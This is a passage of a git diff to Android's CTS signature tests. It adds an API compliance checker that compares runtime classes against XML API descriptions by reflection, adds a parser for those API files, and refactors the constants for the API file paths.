+ HIDDEN_INTERFACE_WHITELIST.add("public abstract int android.companion.DeviceFilter.getMediumType()");
+ HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.nfc.tech.TagTechnology.reconnect() throws java.io.IOException");
+ HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.os.IBinder.shellCommand(java.io.FileDescriptor,java.io.FileDescriptor,java.io.FileDescriptor,java.lang.String[],android.os.ShellCallback,android.os.ResultReceiver) throws android.os.RemoteException");
+ HIDDEN_INTERFACE_WHITELIST.add("public abstract int android.text.ParcelableSpan.getSpanTypeIdInternal()");
+ HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.text.ParcelableSpan.writeToParcelInternal(android.os.Parcel,int)");
+ HIDDEN_INTERFACE_WHITELIST.add("public abstract void android.view.WindowManager.requestAppKeyboardShortcuts(android.view.WindowManager$KeyboardShortcutsReceiver,int)");
+ HIDDEN_INTERFACE_WHITELIST.add("public abstract boolean javax.microedition.khronos.egl.EGL10.eglReleaseThread()");
+ HIDDEN_INTERFACE_WHITELIST.add("public abstract void org.w3c.dom.ls.LSSerializer.setFilter(org.w3c.dom.ls.LSSerializerFilter)");
+ HIDDEN_INTERFACE_WHITELIST.add("public abstract org.w3c.dom.ls.LSSerializerFilter org.w3c.dom.ls.LSSerializer.getFilter()");
+ HIDDEN_INTERFACE_WHITELIST.add("public abstract android.graphics.Region android.view.WindowManager.getCurrentImeTouchRegion()");
+ }
+
+
+ private final ResultObserver resultObserver;
+
+ public ApiComplianceChecker(ResultObserver resultObserver) {
+ this.resultObserver = resultObserver;
+ }
+
+ private static void loge(String message, Exception exception) {
+ System.err.println(String.format("%s: %s", message, exception));
+ }
+
+ private void logMismatchInterfaceSignature(JDiffClassDescription.JDiffType mClassType,
+ String classFullName, String errorMessage) {
+ if (JDiffClassDescription.JDiffType.INTERFACE.equals(mClassType)) {
+ resultObserver.notifyFailure(FailureType.MISMATCH_INTERFACE,
+ classFullName,
+ errorMessage);
+ } else {
+ resultObserver.notifyFailure(FailureType.MISMATCH_CLASS,
+ classFullName,
+ errorMessage);
+ }
+ }
+
+ /**
+ * Checks test class's name, modifier, fields, constructors, and
+ * methods.
+ */
+ public void checkSignatureCompliance(JDiffClassDescription classDescription) {
+ Class<?> runtimeClass = checkClassCompliance(classDescription);
+ if (runtimeClass != null) {
+ checkFieldsCompliance(classDescription, runtimeClass);
+ checkConstructorCompliance(classDescription, runtimeClass);
+ checkMethodCompliance(classDescription, runtimeClass);
+ }
+ }
+
+ /**
+ * Checks that the class found through reflection matches the
+ * specification from the API xml file.
+ *
+ * @param classDescription a description of a class in an API.
+ */
+ @SuppressWarnings("unchecked")
+ private Class<?> checkClassCompliance(JDiffClassDescription classDescription) {
+ try {
+ Class<?> runtimeClass = findRequiredClass(classDescription);
+
+ if (runtimeClass == null) {
+ // No class found, notify the observer according to the class type
+ if (JDiffClassDescription.JDiffType.INTERFACE.equals(
+ classDescription.getClassType())) {
+ resultObserver.notifyFailure(FailureType.MISSING_INTERFACE,
+ classDescription.getAbsoluteClassName(),
+ "Classloader is unable to find " + classDescription
+ .getAbsoluteClassName());
+ } else {
+ resultObserver.notifyFailure(FailureType.MISSING_CLASS,
+ classDescription.getAbsoluteClassName(),
+ "Classloader is unable to find " + classDescription
+ .getAbsoluteClassName());
+ }
+
+ return null;
+ }
+
+ List<String> methods = checkInterfaceMethodCompliance(classDescription, runtimeClass);
+ if (JDiffClassDescription.JDiffType.INTERFACE.equals(classDescription.getClassType()) && methods.size() > 0) {
+ resultObserver.notifyFailure(FailureType.MISMATCH_INTERFACE_METHOD,
+ classDescription.getAbsoluteClassName(), "Interfaces cannot be modified: "
+ + classDescription.getAbsoluteClassName() + ": " + methods);
+ return null;
+ }
+
+ if (!checkClassModifiersCompliance(classDescription, runtimeClass)) {
+ logMismatchInterfaceSignature(classDescription.getClassType(),
+ classDescription.getAbsoluteClassName(),
+ "Non-compatible class found when looking for " +
+ classDescription.toSignatureString());
+ return null;
+ }
+
+ if (!checkClassAnnotationCompliance(classDescription, runtimeClass)) {
+ logMismatchInterfaceSignature(classDescription.getClassType(),
+ classDescription.getAbsoluteClassName(),
+ "Annotation mismatch");
+ return null;
+ }
+
+ if (!runtimeClass.isAnnotation()) {
+ // check father class
+ if (!checkClassExtendsCompliance(classDescription, runtimeClass)) {
+ logMismatchInterfaceSignature(classDescription.getClassType(),
+ classDescription.getAbsoluteClassName(),
+ "Extends mismatch");
+ return null;
+ }
+
+ // check implements interface
+ if (!checkClassImplementsCompliance(classDescription, runtimeClass)) {
+ logMismatchInterfaceSignature(classDescription.getClassType(),
+ classDescription.getAbsoluteClassName(),
+ "Implements mismatch");
+ return null;
+ }
+ }
+ return runtimeClass;
+ } catch (Exception e) {
+ loge("Got exception when checking field compliance", e);
+ resultObserver.notifyFailure(
+ FailureType.CAUGHT_EXCEPTION,
+ classDescription.getAbsoluteClassName(),
+ "Exception!");
+ return null;
+ }
+ }
+
+ private Class<?> findRequiredClass(JDiffClassDescription classDescription) {
+ try {
+ return ReflectionHelper.findMatchingClass(classDescription);
+ } catch (ClassNotFoundException e) {
+ loge("ClassNotFoundException for " + classDescription.getAbsoluteClassName(), e);
+ return null;
+ }
+ }
+
+ /**
+ * Validate that an interfaces method count is as expected.
+ *
+ * @param classDescription the class's API description.
+ * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+ */
+ private static List<String> checkInterfaceMethodCompliance(
+ JDiffClassDescription classDescription, Class<?> runtimeClass) {
+ List<String> unexpectedMethods = new ArrayList<>();
+ for (Method method : runtimeClass.getDeclaredMethods()) {
+ if (method.isDefault()) {
+ continue;
+ }
+ if (method.isSynthetic()) {
+ continue;
+ }
+ if (method.isBridge()) {
+ continue;
+ }
+ if (HIDDEN_INTERFACE_WHITELIST.contains(method.toGenericString())) {
+ continue;
+ }
+
+ boolean foundMatch = false;
+ for (JDiffClassDescription.JDiffMethod jdiffMethod : classDescription.getMethods()) {
+ if (ReflectionHelper.matches(jdiffMethod, method)) {
+ foundMatch = true;
+ }
+ }
+ if (!foundMatch) {
+ unexpectedMethods.add(method.toGenericString());
+ }
+ }
+
+ return unexpectedMethods;
+
+ }
+
+ /**
+ * Checks if the class under test has compliant modifiers compared to the API.
+ *
+ * @param classDescription a description of a class in an API.
+ * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+ * @return true if modifiers are compliant.
+ */
+ private static boolean checkClassModifiersCompliance(JDiffClassDescription classDescription,
+ Class<?> runtimeClass) {
+ int reflectionModifier = runtimeClass.getModifiers();
+ int apiModifier = classDescription.getModifier();
+
+ // If the api class isn't abstract
+ if (((apiModifier & Modifier.ABSTRACT) == 0) &&
+ // but the reflected class is
+ ((reflectionModifier & Modifier.ABSTRACT) != 0) &&
+ // and it isn't an enum
+ !classDescription.isEnumType()) {
+ // that is a problem
+ return false;
+ }
+ // ABSTRACT check passed, so mask off ABSTRACT
+ reflectionModifier &= ~Modifier.ABSTRACT;
+ apiModifier &= ~Modifier.ABSTRACT;
+
+ if (classDescription.isAnnotation()) {
+ reflectionModifier &= ~CLASS_MODIFIER_ANNOTATION;
+ }
+ if (runtimeClass.isInterface()) {
+ reflectionModifier &= ~(Modifier.INTERFACE);
+ }
+ if (classDescription.isEnumType() && runtimeClass.isEnum()) {
+ reflectionModifier &= ~CLASS_MODIFIER_ENUM;
+ }
+
+ return ((reflectionModifier == apiModifier) &&
+ (classDescription.isEnumType() == runtimeClass.isEnum()));
+ }
+
+ /**
+ * Checks if the class under test is compliant with regards to
+ * annnotations when compared to the API.
+ *
+ * @param classDescription a description of a class in an API.
+ * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+ * @return true if the class is compliant
+ */
+ private static boolean checkClassAnnotationCompliance(JDiffClassDescription classDescription,
+ Class<?> runtimeClass) {
+ if (runtimeClass.isAnnotation()) {
+ // check annotation
+ for (String inter : classDescription.getImplInterfaces()) {
+ if ("java.lang.annotation.Annotation".equals(inter)) {
+ return true;
+ }
+ }
+ return false;
+ }
+ return true;
+ }
+
+ /**
+ * Checks if the class under test extends the proper classes
+ * according to the API.
+ *
+ * @param classDescription a description of a class in an API.
+ * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+ * @return true if the class is compliant.
+ */
+ private static boolean checkClassExtendsCompliance(JDiffClassDescription classDescription,
+ Class<?> runtimeClass) {
+ // Nothing to check if it doesn't extend anything.
+ if (classDescription.getExtendedClass() != null) {
+ Class<?> superClass = runtimeClass.getSuperclass();
+
+ while (superClass != null) {
+ if (superClass.getCanonicalName().equals(classDescription.getExtendedClass())) {
+ return true;
+ }
+ superClass = superClass.getSuperclass();
+ }
+ // Couldn't find a matching superclass.
+ return false;
+ }
+ return true;
+ }
+
+ /**
+ * Checks if the class under test implements the proper interfaces
+ * according to the API.
+ *
+ * @param classDescription a description of a class in an API.
+ * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+ * @return true if the class is compliant
+ */
+ private static boolean checkClassImplementsCompliance(JDiffClassDescription classDescription,
+ Class<?> runtimeClass) {
+ Class<?>[] interfaces = runtimeClass.getInterfaces();
+ Set<String> interFaceSet = new HashSet<>();
+
+ for (Class<?> c : interfaces) {
+ interFaceSet.add(c.getCanonicalName());
+ }
+
+ for (String inter : classDescription.getImplInterfaces()) {
+ if (!interFaceSet.contains(inter)) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+
+ /**
+ * Checks all fields in test class for compliance with the API xml.
+ *
+ * @param classDescription a description of a class in an API.
+ * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+ */
+ @SuppressWarnings("unchecked")
+ private void checkFieldsCompliance(JDiffClassDescription classDescription,
+ Class<?> runtimeClass) {
+ // A map of field name to field of the fields contained in runtimeClass.
+ Map<String, Field> classFieldMap = buildFieldMap(runtimeClass);
+ for (JDiffClassDescription.JDiffField field : classDescription.getFields()) {
+ try {
+ Field f = classFieldMap.get(field.mName);
+ if (f == null) {
+ resultObserver.notifyFailure(FailureType.MISSING_FIELD,
+ field.toReadableString(classDescription.getAbsoluteClassName()),
+ "No field with correct signature found:" +
+ field.toSignatureString());
+ } else if (f.getModifiers() != field.mModifier) {
+ resultObserver.notifyFailure(FailureType.MISMATCH_FIELD,
+ field.toReadableString(classDescription.getAbsoluteClassName()),
+ "Non-compatible field modifiers found when looking for " +
+ field.toSignatureString());
+ } else if (!checkFieldValueCompliance(field, f)) {
+ resultObserver.notifyFailure(FailureType.MISMATCH_FIELD,
+ field.toReadableString(classDescription.getAbsoluteClassName()),
+ "Incorrect field value found when looking for " +
+ field.toSignatureString());
+ } else if (!f.getType().getCanonicalName().equals(field.mFieldType)) {
+ // type name does not match, but this might be a generic
+ String genericTypeName = null;
+ Type type = f.getGenericType();
+ if (type != null) {
+ genericTypeName = type instanceof Class ? ((Class) type).getName() :
+ type.toString().replace('$', '.');
+ }
+ if (genericTypeName == null || !genericTypeName.equals(field.mFieldType)) {
+ resultObserver.notifyFailure(
+ FailureType.MISMATCH_FIELD,
+ field.toReadableString(classDescription.getAbsoluteClassName()),
+ "Non-compatible field type found when looking for " +
+ field.toSignatureString());
+ }
+ }
+
+ } catch (Exception e) {
+ loge("Got exception when checking field compliance", e);
+ resultObserver.notifyFailure(
+ FailureType.CAUGHT_EXCEPTION,
+ field.toReadableString(classDescription.getAbsoluteClassName()),
+ "Exception!");
+ }
+ }
+ }
+
+ /**
+ * Checks whether the field values are compatible.
+ *
+ * @param apiField The field as defined by the platform API.
+ * @param deviceField The field as defined by the device under test.
+ */
+ private static boolean checkFieldValueCompliance(JDiffClassDescription.JDiffField apiField, Field deviceField)
+ throws IllegalAccessException {
+ if ((apiField.mModifier & Modifier.FINAL) == 0 ||
+ (apiField.mModifier & Modifier.STATIC) == 0) {
+ // Only final static fields can have fixed values.
+ return true;
+ }
+ if (apiField.getValueString() == null) {
+ // If we don't define a constant value for it, then it can be anything.
+ return true;
+ }
+ // Some fields may be protected or package-private
+ deviceField.setAccessible(true);
+ switch (apiField.mFieldType) {
+ case "byte":
+ return Objects.equals(apiField.getValueString(),
+ Byte.toString(deviceField.getByte(null)));
+ case "char":
+ return Objects.equals(apiField.getValueString(),
+ Integer.toString(deviceField.getChar(null)));
+ case "short":
+ return Objects.equals(apiField.getValueString(),
+ Short.toString(deviceField.getShort(null)));
+ case "int":
+ return Objects.equals(apiField.getValueString(),
+ Integer.toString(deviceField.getInt(null)));
+ case "long":
+ return Objects.equals(apiField.getValueString(),
+ Long.toString(deviceField.getLong(null)) + "L");
+ case "float":
+ return Objects.equals(apiField.getValueString(),
+ canonicalizeFloatingPoint(
+ Float.toString(deviceField.getFloat(null)), "f"));
+ case "double":
+ return Objects.equals(apiField.getValueString(),
+ canonicalizeFloatingPoint(
+ Double.toString(deviceField.getDouble(null)), ""));
+ case "boolean":
+ return Objects.equals(apiField.getValueString(),
+ Boolean.toString(deviceField.getBoolean(null)));
+ case "java.lang.String":
+ String value = apiField.getValueString();
+ // Remove the quotes the value string is wrapped in
+ value = unescapeFieldStringValue(value.substring(1, value.length() - 1));
+ return Objects.equals(value, deviceField.get(null));
+ default:
+ return true;
+ }
+ }
+
+ /**
+ * Canonicalize the string representation of floating point numbers.
+ *
+ * This needs to be kept in sync with the doclava canonicalization.
+ */
+ private static String canonicalizeFloatingPoint(String val, String suffix) {
+ switch (val) {
+ case "Infinity":
+ return "(1.0" + suffix + "/0.0" + suffix + ")";
+ case "-Infinity":
+ return "(-1.0" + suffix + "/0.0" + suffix + ")";
+ case "NaN":
+ return "(0.0" + suffix + "/0.0" + suffix + ")";
+ }
+
+ if (val.indexOf('E') != -1) {
+ return val + suffix;
+ }
+
+ // 1.0 is the only case where a trailing "0" is allowed.
+ // 1.00 is canonicalized as 1.0.
+ int i = val.length() - 1;
+ int d = val.indexOf('.');
+ while (i >= d + 2 && val.charAt(i) == '0') {
+ val = val.substring(0, i--);
+ }
+ return val + suffix;
+ }
+
+ // This unescapes the string format used by doclava and so needs to be kept in sync with any
+ // changes made to that format.
+ private static String unescapeFieldStringValue(String str) {
+ final int N = str.length();
+
+ // If there's no special encoding strings in the string then just return it.
+ if (str.indexOf('\\') == -1) {
+ return str;
+ }
+
+ final StringBuilder buf = new StringBuilder(str.length());
+ char escaped = 0;
+ final int START = 0;
+ final int CHAR1 = 1;
+ final int CHAR2 = 2;
+ final int CHAR3 = 3;
+ final int CHAR4 = 4;
+ final int ESCAPE = 5;
+ int state = START;
+
+ for (int i = 0; i < N; i++) {
+ final char c = str.charAt(i);
+ switch (state) {
+ case START:
+ if (c == '\\') {
+ state = ESCAPE;
+ } else {
+ buf.append(c);
+ }
+ break;
+ case ESCAPE:
+ switch (c) {
+ case '\\':
+ buf.append('\\');
+ state = START;
+ break;
+ case 't':
+ buf.append('\t');
+ state = START;
+ break;
+ case 'b':
+ buf.append('\b');
+ state = START;
+ break;
+ case 'r':
+ buf.append('\r');
+ state = START;
+ break;
+ case 'n':
+ buf.append('\n');
+ state = START;
+ break;
+ case 'f':
+ buf.append('\f');
+ state = START;
+ break;
+ case '\'':
+ buf.append('\'');
+ state = START;
+ break;
+ case '\"':
+ buf.append('\"');
+ state = START;
+ break;
+ case 'u':
+ state = CHAR1;
+ escaped = 0;
+ break;
+ }
+ break;
+ case CHAR1:
+ case CHAR2:
+ case CHAR3:
+ case CHAR4:
+ escaped <<= 4;
+ if (c >= '0' && c <= '9') {
+ escaped |= c - '0';
+ } else if (c >= 'a' && c <= 'f') {
+ escaped |= 10 + (c - 'a');
+ } else if (c >= 'A' && c <= 'F') {
+ escaped |= 10 + (c - 'A');
+ } else {
+ throw new RuntimeException(
+ "bad escape sequence: '" + c + "' at pos " + i + " in: \""
+ + str + "\"");
+ }
+ if (state == CHAR4) {
+ buf.append(escaped);
+ state = START;
+ } else {
+ state++;
+ }
+ break;
+ }
+ }
+ if (state != START) {
+ throw new RuntimeException("unfinished escape sequence: " + str);
+ }
+ return buf.toString();
+ }
+
+ /**
+ * Scan a class (an its entire inheritance chain) for fields.
+ *
+ * @return a {@link Map} of fieldName to {@link Field}
+ */
+ private static Map<String, Field> buildFieldMap(Class testClass) {
+ Map<String, Field> fieldMap = new HashMap<>();
+ // Scan the superclass
+ if (testClass.getSuperclass() != null) {
+ fieldMap.putAll(buildFieldMap(testClass.getSuperclass()));
+ }
+
+ // Scan the interfaces
+ for (Class interfaceClass : testClass.getInterfaces()) {
+ fieldMap.putAll(buildFieldMap(interfaceClass));
+ }
+
+ // Check the fields in the test class
+ for (Field field : testClass.getDeclaredFields()) {
+ fieldMap.put(field.getName(), field);
+ }
+
+ return fieldMap;
+ }
+
+ /**
+ * Checks whether the constructor parsed from API xml file and
+ * Java reflection are compliant.
+ *
+ * @param classDescription a description of a class in an API.
+ * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+ */
+ @SuppressWarnings("unchecked")
+ private void checkConstructorCompliance(JDiffClassDescription classDescription,
+ Class<?> runtimeClass) {
+ for (JDiffClassDescription.JDiffConstructor con : classDescription.getConstructors()) {
+ try {
+ Constructor<?> c = ReflectionHelper.findMatchingConstructor(runtimeClass, con);
+ if (c == null) {
+ resultObserver.notifyFailure(FailureType.MISSING_METHOD,
+ con.toReadableString(classDescription.getAbsoluteClassName()),
+ "No method with correct signature found:" +
+ con.toSignatureString());
+ } else {
+ if (c.isVarArgs()) {// some method's parameter are variable args
+ con.mModifier |= METHOD_MODIFIER_VAR_ARGS;
+ }
+ if (c.getModifiers() != con.mModifier) {
+ resultObserver.notifyFailure(
+ FailureType.MISMATCH_METHOD,
+ con.toReadableString(classDescription.getAbsoluteClassName()),
+ "Non-compatible method found when looking for " +
+ con.toSignatureString());
+ }
+ }
+ } catch (Exception e) {
+ loge("Got exception when checking constructor compliance", e);
+ resultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION,
+ con.toReadableString(classDescription.getAbsoluteClassName()),
+ "Exception!");
+ }
+ }
+ }
+
+ /**
+ * Checks that the method found through reflection matches the
+ * specification from the API xml file.
+ *
+ * @param classDescription a description of a class in an API.
+ * @param runtimeClass the runtime class corresponding to {@code classDescription}.
+ */
+ private void checkMethodCompliance(JDiffClassDescription classDescription,
+ Class<?> runtimeClass) {
+ for (JDiffClassDescription.JDiffMethod method : classDescription.getMethods()) {
+ try {
+
+ Method m = ReflectionHelper.findMatchingMethod(runtimeClass, method);
+ if (m == null) {
+ resultObserver.notifyFailure(FailureType.MISSING_METHOD,
+ method.toReadableString(classDescription.getAbsoluteClassName()),
+ "No method with correct signature found:" +
+ method.toSignatureString());
+ } else {
+ if (m.isVarArgs()) {
+ method.mModifier |= METHOD_MODIFIER_VAR_ARGS;
+ }
+ if (m.isBridge()) {
+ method.mModifier |= METHOD_MODIFIER_BRIDGE;
+ }
+ if (m.isSynthetic()) {
+ method.mModifier |= METHOD_MODIFIER_SYNTHETIC;
+ }
+
+ // FIXME: A workaround to fix the final mismatch on enumeration
+ if (runtimeClass.isEnum() && method.mName.equals("values")) {
+ return;
+ }
+
+ if (!areMethodsModifiedCompatible(classDescription, method, m)) {
+ resultObserver.notifyFailure(FailureType.MISMATCH_METHOD,
+ method.toReadableString(classDescription.getAbsoluteClassName()),
+ "Non-compatible method found when looking for " +
+ method.toSignatureString());
+ }
+ }
+ } catch (Exception e) {
+ loge("Got exception when checking method compliance", e);
+ resultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION,
+ method.toReadableString(classDescription.getAbsoluteClassName()),
+ "Exception!");
+ }
+ }
+ }
+
+ /**
+ * Checks to ensure that the modifiers value for two methods are compatible.
+ *
+ * Allowable differences are:
+ * - synchronized is allowed to be removed from an apiMethod
+ * that has it
+ * - the native modified is ignored
+ *
+ * @param classDescription a description of a class in an API.
+ * @param apiMethod the method read from the api file.
+ * @param reflectedMethod the method found via reflection.
+ */
+ private static boolean areMethodsModifiedCompatible(
+ JDiffClassDescription classDescription,
+ JDiffClassDescription.JDiffMethod apiMethod,
+ Method reflectedMethod) {
+
+ // If the apiMethod isn't synchronized
+ if (((apiMethod.mModifier & Modifier.SYNCHRONIZED) == 0) &&
+ // but the reflected method is
+ ((reflectedMethod.getModifiers() & Modifier.SYNCHRONIZED) != 0)) {
+ // that is a problem
+ return false;
+ }
+
+ // Mask off NATIVE since it is a don't care. Also mask off
+ // SYNCHRONIZED since we've already handled that check.
+ int ignoredMods = (Modifier.NATIVE | Modifier.SYNCHRONIZED | Modifier.STRICT);
+ int mod1 = reflectedMethod.getModifiers() & ~ignoredMods;
+ int mod2 = apiMethod.mModifier & ~ignoredMods;
+
+ // We can ignore FINAL for classes
+ if ((classDescription.getModifier() & Modifier.FINAL) != 0) {
+ mod1 &= ~Modifier.FINAL;
+ mod2 &= ~Modifier.FINAL;
+ }
+
+ return mod1 == mod2;
+ }
+}
diff --git a/tests/signature/src/android/signature/cts/ApiDocumentParser.java b/tests/signature/src/android/signature/cts/ApiDocumentParser.java
new file mode 100644
index 0000000..6c8b172
--- /dev/null
+++ b/tests/signature/src/android/signature/cts/ApiDocumentParser.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts;
+
+import static android.signature.cts.CurrentApi.ATTRIBUTE_NAME;
+import static android.signature.cts.CurrentApi.ATTRIBUTE_TYPE;
+import static android.signature.cts.CurrentApi.TAG_CLASS;
+import static android.signature.cts.CurrentApi.TAG_CONSTRUCTOR;
+import static android.signature.cts.CurrentApi.TAG_EXCEPTION;
+import static android.signature.cts.CurrentApi.TAG_FIELD;
+import static android.signature.cts.CurrentApi.TAG_IMPLEMENTS;
+import static android.signature.cts.CurrentApi.TAG_INTERFACE;
+import static android.signature.cts.CurrentApi.TAG_METHOD;
+import static android.signature.cts.CurrentApi.TAG_PACKAGE;
+import static android.signature.cts.CurrentApi.TAG_PARAM;
+import static android.signature.cts.CurrentApi.TAG_ROOT;
+
+import android.util.Log;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.Set;
+import org.xmlpull.v1.XmlPullParser;
+import org.xmlpull.v1.XmlPullParserException;
+import org.xmlpull.v1.XmlPullParserFactory;
+
+/**
+ * Parses an XML api definition file and constructs and populates an {@link JDiffClassDescription}
+ * for every class.
+ *
+ * <p>Once it has completely populated the members (so does not include nested/inner classes) of a
+ * {@link JDiffClassDescription} it notifies the {@link #listener} by calling
+ * {@link Listener#completedClass(JDiffClassDescription)} with the completed
+ * {@link JDiffClassDescription}.
+ */
+public class ApiDocumentParser {
+
+ private static final Set<String> KEY_TAG_SET;
+ static {
+ KEY_TAG_SET = new HashSet<>();
+ Collections.addAll(KEY_TAG_SET,
+ TAG_PACKAGE,
+ TAG_CLASS,
+ TAG_INTERFACE,
+ TAG_IMPLEMENTS,
+ TAG_CONSTRUCTOR,
+ TAG_METHOD,
+ TAG_PARAM,
+ TAG_EXCEPTION,
+ TAG_FIELD);
+ }
+
+ private final String tag;
+
+ private final Listener listener;
+
+ private final XmlPullParser parser;
+
+ public ApiDocumentParser(String tag, Listener listener) throws XmlPullParserException {
+ this.tag = tag;
+ this.listener = listener;
+
+ XmlPullParserFactory factory = XmlPullParserFactory.newInstance();
+ parser = factory.newPullParser();
+ }
+
+ public void parse(InputStream inputStream) throws XmlPullParserException, IOException {
+ parser.setInput(inputStream, null);
+ start(parser);
+ }
+
+ public interface Listener {
+
+ /**
+ * Invoked when a {@link JDiffClassDescription} has been completely populated.
+ *
+ * @param classDescription the description of the class as read from the XML API file.
+ */
+ void completedClass(JDiffClassDescription classDescription);
+ }
+
+
+ private void beginDocument(XmlPullParser parser, String firstElementName)
+ throws XmlPullParserException, IOException {
+ int type;
+ do {
+ type = parser.next();
+ } while (type != XmlPullParser.START_TAG && type != XmlPullParser.END_DOCUMENT);
+
+ if (type != XmlPullParser.START_TAG) {
+ throw new XmlPullParserException("No start tag found");
+ }
+
+ if (!parser.getName().equals(firstElementName)) {
+ throw new XmlPullParserException("Unexpected start tag: found " + parser.getName() +
+ ", expected " + firstElementName);
+ }
+ }
+
+ /**
+ * Signature test entry point.
+ */
+ private void start(XmlPullParser parser) throws XmlPullParserException, IOException {
+ logd(String.format("Name: %s", parser.getName()));
+ logd(String.format("Text: %s", parser.getText()));
+ logd(String.format("Namespace: %s", parser.getNamespace()));
+ logd(String.format("Line Number: %s", parser.getLineNumber()));
+ logd(String.format("Column Number: %s", parser.getColumnNumber()));
+ logd(String.format("Position Description: %s", parser.getPositionDescription()));
+ JDiffClassDescription currentClass = null;
+ String currentPackage = "";
+ JDiffClassDescription.JDiffMethod currentMethod = null;
+
+ beginDocument(parser, TAG_ROOT);
+ int type;
+ while (true) {
+ do {
+ type = parser.next();
+ } while (type != XmlPullParser.START_TAG && type != XmlPullParser.END_DOCUMENT
+ && type != XmlPullParser.END_TAG);
+
+ if (type == XmlPullParser.END_TAG) {
+ if (TAG_CLASS.equals(parser.getName())
+ || TAG_INTERFACE.equals(parser.getName())) {
+ if (listener != null) {
+ listener.completedClass(currentClass);
+ }
+ } else if (TAG_PACKAGE.equals(parser.getName())) {
+ currentPackage = "";
+ }
+ continue;
+ }
+
+ if (type == XmlPullParser.END_DOCUMENT) {
+ break;
+ }
+
+ String tagname = parser.getName();
+ if (!KEY_TAG_SET.contains(tagname)) {
+ continue;
+ }
+
+ if (type == XmlPullParser.START_TAG && tagname.equals(TAG_PACKAGE)) {
+ currentPackage = parser.getAttributeValue(null, ATTRIBUTE_NAME);
+ } else if (tagname.equals(TAG_CLASS)) {
+ currentClass = CurrentApi.loadClassInfo(
+ parser, false, currentPackage);
+ } else if (tagname.equals(TAG_INTERFACE)) {
+ currentClass = CurrentApi.loadClassInfo(
+ parser, true, currentPackage);
+ } else if (tagname.equals(TAG_IMPLEMENTS)) {
+ currentClass.addImplInterface(parser.getAttributeValue(null, ATTRIBUTE_NAME));
+ } else if (tagname.equals(TAG_CONSTRUCTOR)) {
+ JDiffClassDescription.JDiffConstructor constructor =
+ CurrentApi.loadConstructorInfo(parser, currentClass);
+ currentClass.addConstructor(constructor);
+ currentMethod = constructor;
+ } else if (tagname.equals(TAG_METHOD)) {
+ currentMethod = CurrentApi.loadMethodInfo(currentClass.getClassName(), parser);
+ currentClass.addMethod(currentMethod);
+ } else if (tagname.equals(TAG_PARAM)) {
+ currentMethod.addParam(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
+ } else if (tagname.equals(TAG_EXCEPTION)) {
+ currentMethod.addException(parser.getAttributeValue(null, ATTRIBUTE_TYPE));
+ } else if (tagname.equals(TAG_FIELD)) {
+ JDiffClassDescription.JDiffField field = CurrentApi.loadFieldInfo(currentClass.getClassName(), parser);
+ currentClass.addField(field);
+ } else {
+ throw new RuntimeException(
+ "unknown tag exception:" + tagname);
+ }
+ if (currentPackage != null) {
+ logd(String.format("currentPackage: %s", currentPackage));
+ }
+ if (currentClass != null) {
+ logd(String.format("currentClass: %s", currentClass.toSignatureString()));
+ }
+ if (currentMethod != null) {
+ logd(String.format("currentMethod: %s", currentMethod.toSignatureString()));
+ }
+ }
+ }
+
+ private void logd(String msg) {
+ Log.d(tag, msg);
+ }
+}
diff --git a/tests/signature/src/android/signature/cts/CurrentApi.java b/tests/signature/src/android/signature/cts/CurrentApi.java
index 4c48f9f..611bcb5 100644
--- a/tests/signature/src/android/signature/cts/CurrentApi.java
+++ b/tests/signature/src/android/signature/cts/CurrentApi.java
@@ -22,20 +22,22 @@
import java.lang.reflect.Modifier;
import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-import org.xmlpull.v1.XmlPullParserFactory;
/**
* Helper methods and constants used for parsing the current api file.
*/
-class CurrentApi {
+public class CurrentApi {
private CurrentApi() {}
- static final String CURRENT_API_FILE =
- "/data/local/tmp/signature-test/current.api";
- static final String SYSTEM_CURRENT_API_FILE =
- "/data/local/tmp/signature-test/system-current.api";
+ public static final String API_FILE_DIRECTORY = "/data/local/tmp/signature-test";
+
+ public static final String CURRENT_API_FILE =
+ API_FILE_DIRECTORY + "/current.api";
+ public static final String SYSTEM_CURRENT_API_FILE =
+ API_FILE_DIRECTORY + "/system-current.api";
+ public static final String SYSTEM_REMOVED_API_FILE =
+ API_FILE_DIRECTORY + "/system-removed.api";
static final String TAG_ROOT = "api";
static final String TAG_PACKAGE = "package";
@@ -48,23 +50,23 @@
static final String TAG_EXCEPTION = "exception";
static final String TAG_FIELD = "field";
- static final String MODIFIER_ABSTRACT = "abstract";
- static final String MODIFIER_FINAL = "final";
- static final String MODIFIER_NATIVE = "native";
- static final String MODIFIER_PRIVATE = "private";
- static final String MODIFIER_PROTECTED = "protected";
- static final String MODIFIER_PUBLIC = "public";
- static final String MODIFIER_STATIC = "static";
- static final String MODIFIER_SYNCHRONIZED = "synchronized";
- static final String MODIFIER_TRANSIENT = "transient";
- static final String MODIFIER_VOLATILE = "volatile";
- static final String MODIFIER_VISIBILITY = "visibility";
+ private static final String MODIFIER_ABSTRACT = "abstract";
+ private static final String MODIFIER_FINAL = "final";
+ private static final String MODIFIER_NATIVE = "native";
+ private static final String MODIFIER_PRIVATE = "private";
+ private static final String MODIFIER_PROTECTED = "protected";
+ private static final String MODIFIER_PUBLIC = "public";
+ private static final String MODIFIER_STATIC = "static";
+ private static final String MODIFIER_SYNCHRONIZED = "synchronized";
